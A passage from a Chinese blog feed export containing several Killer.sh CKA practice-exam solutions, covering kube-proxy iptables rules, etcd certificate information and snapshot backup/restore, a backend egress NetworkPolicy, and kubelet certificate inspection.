<code>cluster1-node2</code> 上找到 kube-proxy 容器，并确保它正在使用iptables。为此使用 <code>crictl</code> 命令。</p><p>把属于已创建的服务 <code>p2-service</code> 的所有节点的iptables规则写进文件 <code>/opt/course/p2/iptables.txt</code> 。</p><p>最后删除该服务，并确认所有节点的iptables规则已经消失。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>创建一个pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run p2-pod --image=nginx:1.21.3-alpine <span class="variable">$do</span> &gt; p2.yaml</span><br><span class="line"></span><br><span class="line">vim p2.yaml</span><br></pre></td></tr></table></figure><p>p2.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># p2.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">p2-pod</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">p2-pod</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-hamster</span>             <span class="comment"># add</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.21.3-alpine</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">p2-pod</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox:1.31</span>                  <span class="comment"># add</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">c2</span>                             <span class="comment"># add</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;sleep 1d&quot;</span>]    <span class="comment"># add</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f p2.yaml create</span><br></pre></td></tr></table></figure><p>创建一个服务</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster expose pod p2-pod --name p2-service --port 3000 --target-port 80</span><br></pre></td></tr></table></figure><p>服务的yaml文件类似如下</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="string">&quot;2020-04-30T20:58:14Z&quot;</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">p2-pod</span></span><br><span class="line">  <span class="attr">managedFields:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">    <span class="attr">operation:</span> <span class="string">Update</span></span><br><span class="line">    <span class="attr">time:</span> <span class="string">&quot;2020-04-30T20:58:14Z&quot;</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">p2-service</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-hamster</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">&quot;11071&quot;</span></span><br><span class="line">  <span class="attr">selfLink:</span> <span class="string">/api/v1/namespaces/project-hamster/services/p2-service</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">2a1c0842-7fb6-4e94-8cdb-1602a3b1e7d2</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">clusterIP:</span> <span class="number">10.97</span><span class="number">.45</span><span class="number">.18</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">3000</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">80</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">p2-pod</span></span><br><span class="line">  <span class="attr">sessionAffinity:</span> <span class="string">None</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br><span class="line"><span class="attr">status:</span></span><br><span class="line">  <span class="attr">loadBalancer:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>检查svc,pod,ep</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster get pod,svc,ep</span><br></pre></td></tr></table></figure><p>确认kube-proxy 正在运行且使用iptables</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1</span><br><span class="line">root@cluster1-controlplane1$ crictl ps | grep kube-proxy</span><br><span class="line">root@cluster1-controlplane1~# crictl logs 27b6a18c0f89c</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/64e6338080f920ad2ca30941ec6931b6dc4dd1e857bdac00f5b15364a6455ddf.jpg" alt="kube-proxy-0">  </p><p>检查kube-proxy 创建了iptables规则</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1 iptables-save | grep p2-service</span><br><span class="line">ssh cluster1-node1 iptables-save | grep p2-service</span><br><span class="line">ssh cluster1-node2 iptables-save | grep p2-service</span><br></pre></td></tr></table></figure><p>写日志到文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1 iptables-save | grep p2-service &gt;&gt; /opt/course/p2/iptables.txt</span><br><span class="line">ssh cluster1-node1 iptables-save | grep p2-service &gt;&gt; /opt/course/p2/iptables.txt</span><br><span class="line">ssh cluster1-node2 iptables-save | grep p2-service &gt;&gt; /opt/course/p2/iptables.txt</span><br></pre></td></tr></table></figure><p>删除服务后检查iptables规则</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster delete svc p2-service</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1 iptables-save | grep p2-service</span><br><span class="line">ssh cluster1-node1 iptables-save | grep p2-service</span><br><span class="line">ssh cluster1-node2 iptables-save | grep p2-service</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Preview Question 1</title>
      <link href="/archives/kubernetes/CKA/etcd-cert.html"/>
      <url>/archives/kubernetes/CKA/etcd-cert.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>The cluster admin asked you to find out the following information about etcd running on cluster2-controlplane1:</p><p>Server private key location Server certificate expiration date Is client certificate authentication enabled Write these information into <code>/opt/course/p1/etcd-info.txt</code></p><p>Finally you’re asked to save an etcd snapshot at <code>/etc/etcd-snapshot.db</code> on cluster2-controlplane1 and display its status.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>集群管理员要求你找出关于在 cluster2-controlplane1 上运行的 etcd 的以下信息。</p><ul><li>服务器私钥位置</li><li>服务器证书的到期日</li><li>是否启用了客户证书认证</li></ul><p>将这些信息写入 <code>/opt/course/p1/etcd-info.txt</code> 中</p><p>最后要求你在 <code>/etc/etcd-snapshot.db</code> 上保存 cluster2-controlplane1 的 etcd 快照，并显示其状态。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>检查节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2d415f8ea55d924f3396508d5ef25a8765b08ec22a8bea2987329bc6bc9b519d.jpg" alt="etcd-cert-0">  </p><p>远程cluster2-controlplane1</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line">root@cluster2-controlplane1:~# kubectl -n kube-system get pod</span><br><span class="line">root@cluster2-controlplane1:~# find /etc/kubernetes/manifests/</span><br><span class="line">root@cluster2-controlplane1:~# vim /etc/kubernetes/manifests/etcd.yaml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/76333b461ec6363e74fd4657bfa0f00e64dba5718cf92887e073f2ecc33e5dfe.jpg" alt="etcd-cert-1">  </p><p>etcd.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/etcd.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">etcd</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">etcd</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">etcd</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--advertise-client-urls=https://192.168.102.11:2379</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cert-file=/etc/kubernetes/pki/etcd/server.crt</span>              <span class="comment"># server certificate</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--client-cert-auth=true</span>                                      <span class="comment"># enabled</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--data-dir=/var/lib/etcd</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--initial-advertise-peer-urls=https://192.168.102.11:2380</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--initial-cluster=cluster2-controlplane1=https://192.168.102.11:2380</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--key-file=/etc/kubernetes/pki/etcd/server.key</span>               <span class="comment"># server private key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--listen-client-urls=https://127.0.0.1:2379,https://192.168.102.11:2379</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--listen-metrics-urls=http://127.0.0.1:2381</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--listen-peer-urls=https://192.168.102.11:2380</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--name=cluster2-controlplane1</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--peer-client-cert-auth=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--peer-key-file=/etc/kubernetes/pki/etcd/peer.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--snapshot-count=10000</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt</span></span><br></pre></td></tr></table></figure><p>查看证书过期时间</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# openssl x509  -noout -text -<span class="keyword">in</span> /etc/kubernetes/pki/etcd/server.crt | grep Validity -A2</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f36f169ba19b098d45c4a9030c1b07ad665ad97b640f8803701bfb97b5ac45df.jpg" alt="etcd-cert-2">  </p><p>&#x2F;opt&#x2F;course&#x2F;p1&#x2F;etcd-info.txt 内容</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Server private key location: /etc/kubernetes/pki/etcd/server.key</span><br><span class="line">Server certificate expiration date: Sep 13 13:01:31 2022 GMT</span><br><span class="line">Is client certificate authentication enabled: yes</span><br></pre></td></tr></table></figure><p>创建etcd备份</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ETCDCTL_API=3 etcdctl snapshot save /etc/etcd-snapshot.db \</span><br><span class="line">--cacert /etc/kubernetes/pki/etcd/ca.crt \</span><br><span class="line">--cert /etc/kubernetes/pki/etcd/server.crt \</span><br><span class="line">--key /etc/kubernetes/pki/etcd/server.key</span><br></pre></td></tr></table></figure><p>查看备份状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# ETCDCTL_API=3 etcdctl snapshot status /etc/etcd-snapshot.db</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 25 | Etcd Snapshot Save and Restore</title>
      <link href="/archives/kubernetes/CKA/etcd-back-and-restore.html"/>
      <url>/archives/kubernetes/CKA/etcd-back-and-restore.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 8%</p><p>Use context: <code>kubectl config use-context k8s-c3-CCC</code></p><p>Make a backup of etcd running on cluster3-controlplane1 and save it on the controlplane node at <code>/tmp/etcd-backup.db</code> .</p><p>Then create a Pod of your kind in the cluster.</p><p>Finally restore the backup, confirm the cluster is still working and that the created Pod is no longer with us.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>备份运行在 <code>cluster3-controlplane1</code> 上的 etcd，并将其保存在 controlplane 节点上的 <code>/tmp/etcd-backup.db</code> 中。</p><p>然后在集群中创建一个 Pod。</p><p>最后还原备份，确认集群仍在运行，且创建的 Pod 已不复存在。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c3-CCC</span><br></pre></td></tr></table></figure><p>远程连接cluster3-controlplane1后 检查etcd配置文件,查找证书文件等</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-controlplane1</span><br><span class="line">root@cluster3-controlplane1:~# <span class="built_in">cat</span> /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9ee731ad601ea132bd89c98816b2aa72fe7f6680c9e11a362b52c01cd5492007.jpg" alt="etcd-back-and-restore-0">  </p><p>备份etcd</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:~# ETCDCTL_API=3 etcdctl snapshot save /tmp/etcd-backup.db \</span><br><span class="line">--endpoints https://127.0.0.1:2379 \</span><br><span class="line">--cacert /etc/kubernetes/pki/etcd/ca.crt \</span><br><span class="line">--cert /etc/kubernetes/pki/etcd/server.crt \</span><br><span class="line">--key /etc/kubernetes/pki/etcd/server.key</span><br></pre></td></tr></table></figure><p>恢复etcd</p><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:~# kubectl run <span class="built_in">test</span> --image=nginx</span><br><span class="line">root@cluster3-controlplane1:~# kubectl get pod -l run=<span class="built_in">test</span> -w</span><br></pre></td></tr></table></figure><p>停止所有控制面板组件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:~# <span class="built_in">cd</span> /etc/kubernetes/manifests/</span><br><span class="line"></span><br><span class="line">root@cluster3-controlplane1:/etc/kubernetes/manifests# <span class="built_in">mv</span> * ..</span><br></pre></td></tr></table></figure><p>恢复etcd</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:~# ETCDCTL_API=3 etcdctl snapshot restore /tmp/etcd-backup.db \</span><br><span class="line">--endpoints https://127.0.0.1:2379 \</span><br><span class="line">--data-dir /var/lib/etcd-backup \</span><br><span class="line">--cacert /etc/kubernetes/pki/etcd/ca.crt \</span><br><span class="line">--cert /etc/kubernetes/pki/etcd/server.crt \</span><br><span class="line">--key /etc/kubernetes/pki/etcd/server.key</span><br></pre></td></tr></table></figure><p>编辑etcd文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:~# vim /etc/kubernetes/etcd.yaml</span><br></pre></td></tr></table></figure><p>etcd.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/etcd.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">etcd</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">etcd</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/etc/kubernetes/pki/etcd</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">etcd-certs</span></span><br><span class="line">  <span class="attr">hostNetwork:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">priorityClassName:</span> <span class="string">system-cluster-critical</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostPath:</span></span><br><span class="line">      <span class="attr">path:</span> <span class="string">/etc/kubernetes/pki/etcd</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">etcd-certs</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostPath:</span></span><br><span class="line">      <span class="attr">path:</span> <span class="string">/var/lib/etcd-backup</span>                <span class="comment"># change</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">etcd-data</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>恢复yaml文件,并检查容器和pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-controlplane1:/etc/kubernetes/manifests# <span class="built_in">mv</span> ../*.yaml .</span><br><span class="line"></span><br><span class="line">root@cluster3-controlplane1:/etc/kubernetes/manifests# watch crictl ps</span><br><span class="line">root@cluster3-controlplane1:~# kubectl get pod -l run=<span class="built_in">test</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 24 | NetworkPolicy</title>
      <link href="/archives/kubernetes/CKA/NetworkPolicy-1.html"/>
      <url>/archives/kubernetes/CKA/NetworkPolicy-1.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 9%</p><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>There was a security incident where an intruder was able to access the whole cluster from a single hacked backend Pod.</p><p>To prevent this create a NetworkPolicy called np-backend in Namespace <code>project-snake</code> . It should allow the <code>backend-</code>* Pods only to:</p><p>connect to <code>db1-*</code> Pods on port 1111 connect to <code>db2-*</code> Pods on port 2222 Use the app label of Pods in your policy.</p><p>After implementation, connections from <code>backend-*</code> Pods to <code>vault-*</code> Pods on port 3333 should for example no longer work.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>曾经发生过一起安全事件，一个入侵者能够从一个被入侵的后端Pod访问整个集群。</p><p>为了防止这种情况，在 namespace <code>project-snake</code> 中创建一个名为 <code>np-backend</code> 的 NetworkPolicy。它应该只允许 <code>backend-</code>* Pods进入。</p><ul><li>连接到1111端口的db1-* Pods</li><li>连接到2222端口的db2-* Pods。</li></ul><p>在你的策略中使用Pods的 <code>app</code> 标签。</p><p>实施后，例如，从 <code>backend-</code><em>Pods到3333端口的 <code>vault-</code></em> Pods的连接应该不再工作。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>查看pod详情</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-snake get pod</span><br><span class="line">k -n project-snake get pod -L app</span><br><span class="line">k -n project-snake get pod -o wide</span><br><span class="line"></span><br><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.25:1111</span><br><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.23:2222</span><br><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.22:3333</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5155efc82bcd946a0e01f93c279d48685b9e195ccee481db2e331af8a2681149.jpg" alt="NetworkPolicy-1-0">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 24.yaml</span><br></pre></td></tr></table></figure><p>24.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 24_np.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">NetworkPolicy</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">np-backend</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-snake</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">backend</span></span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">Egress</span>                    <span class="comment"># policy is only about Egress</span></span><br><span class="line">  <span class="attr">egress:</span></span><br><span class="line">    <span class="bullet">-</span>                           <span class="comment"># first rule</span></span><br><span class="line">      <span class="attr">to:</span>                           <span class="comment"># first condition &quot;to&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">podSelector:</span></span><br><span class="line">          <span class="attr">matchLabels:</span></span><br><span class="line">            <span class="attr">app:</span> <span class="string">db1</span></span><br><span class="line">      <span class="attr">ports:</span>                        <span class="comment"># second condition &quot;port&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">        <span class="attr">port:</span> <span class="number">1111</span></span><br><span class="line">    <span class="bullet">-</span>                           <span class="comment"># second rule</span></span><br><span class="line">      <span class="attr">to:</span>                           <span class="comment"># first condition &quot;to&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">podSelector:</span></span><br><span class="line">          <span class="attr">matchLabels:</span></span><br><span class="line">            <span class="attr">app:</span> <span class="string">db2</span></span><br><span class="line">      <span class="attr">ports:</span>                        <span class="comment"># second condition &quot;port&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">        <span class="attr">port:</span> <span class="number">2222</span></span><br></pre></td></tr></table></figure><p>创建networpolicy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 24.yaml create</span><br></pre></td></tr></table></figure><p>验证测试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.25:1111</span><br><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.23:2222</span><br><span class="line">k -n project-snake <span class="built_in">exec</span> backend-0 -- curl -s 10.44.0.22:3333</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6d969ec4ae87e27358efe08e404fcd614036a31d4dd5c93f71a6a355e169f2bf.jpg" alt="NetworkPolicy-1-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 23 | Kubelet client/server cert info</title>
      <link href="/archives/kubernetes/CKA/cluster-cert-info.html"/>
      <url>/archives/kubernetes/CKA/cluster-cert-info.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 2%</p><p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>Node cluster2-node1 has been added to the cluster using <code>kubeadm</code> and TLS bootstrapping.</p><p>Find the “Issuer” and “Extended Key Usage” values of the cluster2-node1:</p><p>kubelet <code>client</code> certificate, the one used for outgoing connections to the kube-apiserver. kubelet <code>server</code> certificate, the one used for incoming connections from the kube-apiserver. Write the information into file <code>/opt/course/23/certificate-info.txt</code> .</p><p>Compare the “Issuer” and “Extended Key Usage” fields of both certificates and make sense of these.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>节点 <code>cluster2-node1</code> 已经使用kubeadm和TLS引导添加到集群中。</p><p>找到 <code>cluster2-node1</code> 的 “Issuer “和 “Extended Key Usage “值。</p><p>kubelet客户端证书，用于向外连接kube-apiserver。<br>kubelet服务器证书，用于从kube-apiserver传入的连接。<br>将这些信息写入文件 <code>/opt/course/23/certificate-info.txt</code> 。</p><p>比较两个证书的 “Issuer “和 “Extended Key Usage”字段，并理解其含义。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>参考: <a href="https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kubelet/">https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kubelet/</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>远程到cluster2-node1节点,使用openssl进行查看</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-node1</span><br><span class="line"><span class="comment">#client证书</span></span><br><span class="line">root@cluster2-node1:~# openssl x509  -noout -text -<span class="keyword">in</span> /var/lib/kubelet/pki/kubelet-client-current.pem | grep Issuer</span><br><span class="line">root@cluster2-node1:~# openssl x509  -noout -text -<span class="keyword">in</span> /var/lib/kubelet/pki/kubelet-client-current.pem | grep <span class="string">&quot;Extended Key Usage&quot;</span> -A1</span><br><span class="line"></span><br><span class="line"><span class="comment">#server证书</span></span><br><span class="line">root@cluster2-node1:~# openssl x509  -noout -text -<span class="keyword">in</span> /var/lib/kubelet/pki/kubelet.crt | grep Issuer</span><br><span class="line">root@cluster2-node1:~# openssl x509  -noout -text -<span class="keyword">in</span> /var/lib/kubelet/pki/kubelet.crt | grep <span class="string">&quot;Extended Key Usage&quot;</span> -A1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/eeeea7ea19e6e9a60242a985bfdaadbac9bd6ae4b17d7ca9222321093a07bf3e.jpg" alt="cluster-cert-info-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 22 | Check how long certificates are valid</title>
      <link href="/archives/kubernetes/CKA/check-cert.html"/>
      <url>/archives/kubernetes/CKA/check-cert.html</url>
      
